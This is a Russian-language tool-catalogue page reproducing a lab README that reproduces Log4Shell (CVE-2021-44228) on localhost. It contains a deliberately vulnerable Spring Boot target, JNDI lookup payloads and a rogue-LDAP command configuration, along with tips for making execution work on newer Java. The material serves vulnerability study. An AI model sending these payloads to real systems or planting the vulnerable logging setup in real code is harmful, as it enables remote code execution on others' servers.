Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
log4j2-test — Тест уязвимости Log4j2 LDAP (CVE-2021-44228) | Kitploit
Инструменты/GitHubGitHub/mklinkj/log4j2-test
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHubmklinkj/log4j2-test

log4j2-test

Тест уязвимости Log4j2 LDAP (CVE-2021-44228)

Репозиторий
12 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимость удаленного выполнения кода Log4j2 2.14.1 LDAP (CVE-2021-44228) - проверка

🎈 Тестировалось в среде Spring Boot 2.x

  • Уведомление об уязвимости
    • https://nvd.nist.gov/vuln/detail/CVE-2021-44228

target-server

  • pom.xml : Версия Log4j2 понижена до уязвимой версии

    root@kitploit:~
    <properties>
      <java.version>17</java.version>
      <!-- Текущая версия Spring Boot имеет более высокую версию log4j, чем уязвимая 2.14.1, поэтому намеренно понижаем версию.-->
      <log4j2.version>2.14.1</log4j2.version>
    </properties>
    
  • LoggingController : Добавлен метод контроллера, который принимает пользовательский ввод и сразу его логирует

    root@kitploit:~
      @PostMapping("/form")
      public String form(String ldapString, RedirectAttributes rttr) {
        try {
          LOGGER.info("{}", ldapString);
          rttr.addFlashAttribute("exception", "Исключение не возникло");
        } catch (Exception e) {
          rttr.addFlashAttribute("exception", "Исключение возникло: " + e.getMessage());
        }
        return "redirect:/";
      }
    
  • Запуск браузера

    target-server-view.png

  • Содержание проверки

    1. При фактической отправке строки ${jndi:ldap://127.0.0.1:19090/run} на сервер, сервер пытается подключиться к 127.0.0.1:19090.

      root@kitploit:~
      2022-01-03 13:16:52.526  INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController                : ${jndi:ldap://127.0.0.1:19090/run}
      2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
      ...
      

      Поскольку LDAP-сервер на локальном порту 19090 не запущен, возникает исключение Connection refused: connect и регистрируется ошибка.

    2. В коде LOGGER.info("{}", ldapString); исключение JNDI не было выброшено.

      • Если не просматривать логи внимательно, эту проблему легко пропустить.

    ldap-server

    Из кода https://github.com/veracode-research/rogue-jndi были взяты только части, связанные с Tomcat, и составлен простой проект Spring Boot.

    Причина, по которой были взяты только части, связанные с Tomcat...

    Поскольку целевой тестовый сервер основан на встроенном Tomcat Spring Boot, решили, что достаточно исследовать только Tomcat для проверки работы уязвимости.

    Подготовка команды

    Чтобы не ограничиваться простым калькулятором, попробовал скомбинировать команды cmd.

    • ldapserver-config.properties

      root@kitploit:~
      # Записать версию ОС Windows целевого сервера в текстовый файл, затем открыть его в Блокноте
      ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
      ...
      

    На практике оказалось, что действительно возможно удаленное выполнение исполняемого файла на целевом тестовом сервере. Способ проверки приведен ниже.

    1. Запуск ldap-server и target-server

      root@kitploit:~
      # Запуск LDAP-сервера
      C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
      
      # Запуск тестового целевого сервера
      C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
      
    2. Отправка строки ${jndi:ldap://127.0.0.1:19090/o=tomcat} на тестовый целевой сервер и проверка

      remote-code-executed

      В корне проекта target-server был создан файл test.txt и открыт в Блокноте.

    При проверке в среде Java 15 и выше...

    Для создания полезной нагрузки (payload), отправляемой целевому Tomcat, используется Nashorn — реализация JavaScript в Java. Начиная с Java 15, Nashorn полностью удалён. Из-за этого LDAP-сервер отправлял команду целевому Tomcat, но команда не выполнялась.

    В этом случае достаточно было добавить в библиотеки целевого сервера Tomcat один из двух: nashorn-core или rhino-engine.

    root@kitploit:~
    <dependency>
      <groupId>org.openjdk.nashorn</groupId>
      <artifactId>nashorn-core</artifactId>
      <version>${nashorn.version}</version>
    </dependency>
    
    root@kitploit:~
    <dependency>
      <groupId>org.mozilla</groupId>
      <artifactId>rhino-engine</artifactId>
      <version>${rhino-engine.version}</version>
    </dependency>
    
    • Ссылки
      • JEP 372: Remove the Nashorn JavaScript Engine
        • https://openjdk.java.net/jeps/372
      • Known problems and workarounds
        • https://apache.github.io/jmeter-site-preview/site/changes.html

    Запуск проекта в отношении родитель-потомок в Maven POM

    Для удобства управления версиями я изменил pom.xml на отношение родитель-потомок, и теперь его можно запускать из каталога, где находится родительский pom.

    root@kitploit:~
    # Полное тестирование
    $ mvnw clean test
    
    # Поскольку не запускается в фоне, каждый нужно запускать в отдельном окне консоли.
    $ mvnw clean spring-boot:run -pl ldap-server
    $ mvnw clean spring-boot:run -pl target-server
    
    # Также можно зайти в каталог дочернего проекта и запустить оттуда.
    $ cd target-server
    $ mvnw clean spring-boot:run
    

    Заключение

    • На практике оказалось, что если эту уязвимость не устранить, это действительно опасно. Похоже, необходимо протестировать в средах разработки и staging, чтобы убедиться в отсутствии частей, вызывающих подключение к LDAP.
    • Благодарю Michael Stepankin, создателя репозитория rogue-jndi — благодаря ему я смог это проверить. 😄

    Отказ от ответственности

    Данное программное обеспечение предоставляется только в образовательных целях и/или для тестирования систем, на которые пользователь предварительно дал разрешение на атаку.
    (Эту фразу я добавил, так как она была и в rogue-jndi. 😓)

    Скачать инструмент